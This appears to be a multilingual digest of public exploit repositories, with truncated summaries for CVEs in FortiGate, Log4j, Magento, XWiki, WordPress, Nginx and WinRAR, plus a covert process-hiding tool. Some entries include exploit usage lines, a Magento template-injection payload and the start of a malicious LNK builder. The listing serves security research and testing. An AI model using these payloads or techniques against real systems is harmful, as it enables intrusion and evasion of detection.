CVE-2022-28108

Selenium Chrome RCE 漏洞利用（扩展版） 本仓库包含一个修改版的 Metasploit 模块，用于利用旧版本 Selenium Server（Grid）中的远程代码执行漏洞。 使用此代码前请仔细阅读本 README。 原始代码致谢： 本模块基于原作者对 CVE-2022-28108 的 Metasploit 模块的出色工作。利用 Selenium Server 漏洞的核心功能大部分仍基于其实现。我们感谢他们对安全社区的贡献。 原始 Metasploit 模块： 你可以在 Metasploit Framework 中找到原始模块。 原始作者：...

CVE-2020-9484_Exploit

CVE-2020-9484Exploit Apache Tomcat デシリアライゼーション CVE-2020-9484 のエクスプロイト。RCE に至る可能性があります。 影響を受けるバージョン: Apache Tomcat 10.x exploit.sh root@kitploit: exploit.sh your IP your port target IP target port...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 はこのコードで攻撃可能です。（注意：コードは非常に馬鹿げた方法で書かれています。） 概念実証 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray +...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 任意ファイルアップロードエクスプロイト CVE-2024-56264 概要 このリポジトリには、WordPress ACF City Selector プラグイン（バージョン = 1.14.0）で見つかった 任意ファイルアップロード 脆弱性である CVE-2024-56264 のエクスプロイトが含まれています。この脆弱性により、攻撃者は脆弱なWordPressインスタンスに 悪意のあるPHPファイル（ウェブシェル） をアップロードし、サーバー上で任意のコマンドを実行できます。 CVE 詳細...

CVE-2025-24893

CVE-2025-24893 的 PoC — XWiki 远程代码执行（安全 PoC） CVE-2025-24893 的 PoC： 针对 15.10.11 、16.4.1 及 16.5.0RC1 之前版本的 XWiki 远程代码执行漏洞利用。 ⚠️ 重要 — 仅限授权测试 本仓库包含一个 概念验证 （PoC）项目，仅供教育 和授权漏洞测试 使用。切勿 对不属于你或未经你明确书面许可测试的系统使用任何漏洞代码或技术。未经授权的使用可能违法。 概述 CVE： CVE-2025-24893 产品： XWiki 平台 受影响版本（已报告）： 15.10.11 、16.4.1 及 16.5.0RC1...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

mimic

mimic mimic は、Linux x8664 で隠密実行を行うためのツールです。 「covert execution」とは？ 隠密実行とは、プロセスを隠す技術です。この場合、 mimic はプロセスを目に見える場所に隠します。 mimic は任意のプログラムを起動して、他のプログラムのように見せることができます。どのユーザーでも使用できます。特別な権限は必要ありません。特別なバイナリも必要ありません。ルートキットも必要ありません。 えっ？！特別な権限がいらないの？！ その通りです。 mimic は、プロセスの内部構造を再構成することで、そのプロセスの /proc...

fgt-cve-2023-27997-exploit

fgt-cve-2023-27997-exploit 带有 ROP 链的 FortiGate SSL‑VPN CVE‑2023‑27997 漏洞利用 PoC 脚本 目录 说明 受影响版本 安装 用法 示例输出 技术细节 警告 参考资料 说明 fgt-cve-2023-27997-exploit.py 是为 Fortinet FortiGate 设备中发现的严重安全漏洞 CVE‑2023‑27997 编写的一个 概念验证 PoC 漏洞利用脚本。 该漏洞源于 FortiOS SSL‑VPN 界面中一个无需身份验证即可实现远程代码执行 RCE 的基于堆的缓冲区溢出 错误。 脚本运行步骤： 1...

CVE-2023-43341-Evolution-Reflected-XSS---Installation-Connection-

Evolution CMS 反射型 XSS v3.2.3 作者: Sergio 描述: evolution v.3.2.3 安装过程中的一个反射型跨站脚本（XSS）漏洞，允许本地攻击者通过注入到 uid 参数中的恶意负载来执行任意 Web 脚本。 攻击向量: 数据库安装过程中 uid 参数未充分过滤，导致可注入 JavaScript 代码。 POC: 在安装过程中，我们在 uid 参数中输入 XSS 负载，当点击下一步时，将触发 XSS 弹窗。 XSS 负载: root@kitploit: '" 下图展示了安装过程中触发该负载的嵌入代码。 最终结果会以以下证据弹窗的形式呈现： 附加信息:...

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

CVE-2024-51568 - CyberPanel 命令注入 PoC 一个用于测试 CVE-2024-51568（CyberPanel 中一个严重的未授权命令注入漏洞）的概念验证环境和 Nuclei 模板。 漏洞详情 CVE：CVE-2024-51568 严重性：严重（CVSS 9.8） 类型：未授权命令注入 端点：/filemanager/upload 参数：completePath 影响：以 root 权限远程执行代码 快速开始 1. 启动漏洞环境 root@kitploit: cd docker/ docker-compose up -d --build 2. 验证...

CVE-2022-24086

CVE-2022-24086 已在以下环境测试：magento 2.4.3 和示例数据 Docker 镜像：docker.io/bitnami/magento:2.4.3-debian-10-r0 名字： root@kitploit: var this.getTemplateFilter.filter$order.shippingaddress.cityvar this.getTemplateFilter.addAfterFilterCallback$order.shippingaddress.lastname.filter$order.shippingaddress.city 姓氏：...

Peyara-FileUpload

漏洞利用标题：Peyara Remote Mouse v1.0.1 未经认证的任意文件上传 日期：2025-01-06 漏洞利用作者：tmrswrr 软件链接：https://peyara-remote-mouse.vercel.app/ 平台：Windows 版本：v1.0.1 测试环境：Windows 10 root@kitploit: 用法 : python3 combinedscript.py 创建恶意 LNK 文件 evil.lnk root@kitploit: $WshShell = New-Object -ComObject WScript.Shell $Shortcut ...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 概念验证 Apache Log4j2 版本 =2.14.1 在配置、日志消息和参数中使用的 JNDI 功能未对攻击者控制的 LDAP 及其他 JNDI 相关端点进行保护。 当消息查找替换功能启用时，能够控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。 为了帮助客户理解此漏洞的工作原理，我们准备了此仓库，内含一个简单但有效的概念验证。 前提条件 本地已安装： Git JDK 11 Maven Python 目前，该任意代码会在 macOS 或 Windows 上启动计算器应用程序，因此此 PoC...

CVE-2024-23108

CVE-2024-23108 POC 脆弱なFortiSIEMアプライアンス上でrootとしてコマンドを盲目的に実行するための概念実証エクスプロイトです。 リストを指定するオプションを追加し、色付けも施しました。 オリジナル（およびすべての功績）はhorizon3に帰属します（下記のブログ記事を参照）。 ブログ記事 根本原因と侵害の指標（IOC）はこちら：...

CVE-2025-6218-POC

RARLAB WinRAR のディレクトリトラバーサルによるリモートコード実行の脆弱性。この脆弱性により、リモートの攻撃者は、影響を受ける RARLAB WinRAR のインストール環境で任意のコードを実行できる可能性があります。この脆弱性を悪用するにはユーザーの操作が必要で、ターゲットが悪意のあるページを訪問するか、悪意のあるファイルを開く必要があります。...

SuiteCRM-RCE

CVE-2020-28328 Ejecución remota de código en SuiteCRM a través de la configuración del sistema de archivos de registro y envenenamiento del archivo de registro Descripción general Recientemente descubrí dos vulnerabilidades en SuiteCRM que proporcionan una cadena de ataque para que un usuario con...

CVE-2013-2028-Exploit

CVE-2013-2028 エクスプロイト 脆弱性の詳細 脆弱性のあるソフトウェア: Nginx 1.3.9 -lp 4. エクスプロイトにカナリアの実際の値を見つけさせ、リバースシェルを起動します。...

CVE-2023-43878-RiteCMS-Stored-XSS---MainMenu

Rite CMS v3.0 複数の格納型XSS 著者: Sergio 説明: Rite CMS 3.0は、複数の格納型クロスサイトスクリプティング XSS の脆弱性の影響を受けます。攻撃者は、管理メニューの「メインメニュー - アイテム」に細工したペイロードを挿入することで、任意のコードを実行できます。 攻撃ベクトル: AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L POC: パネルにログインした後、「管理 - メニュー - メインメニュー」セクションに移動します。...

log4j-vul

log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞，即 CVE-2021-44228。 Java: java version "1.8.0121" 编译： （在 src 文件夹内） javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行： （在 src 文件夹内） java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

ShellShockHunter

ShellShockHunter v1.0 シェルショック脆弱性をテストするためのシンプルなツールです。 root@kitploit: 作成者: MrCl0wn ブログ: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab メール: mrcl0wnlab@\gmail.com Shellshock ソフトウェアバグ Shellshock（別名Bashdoor）は、Unix...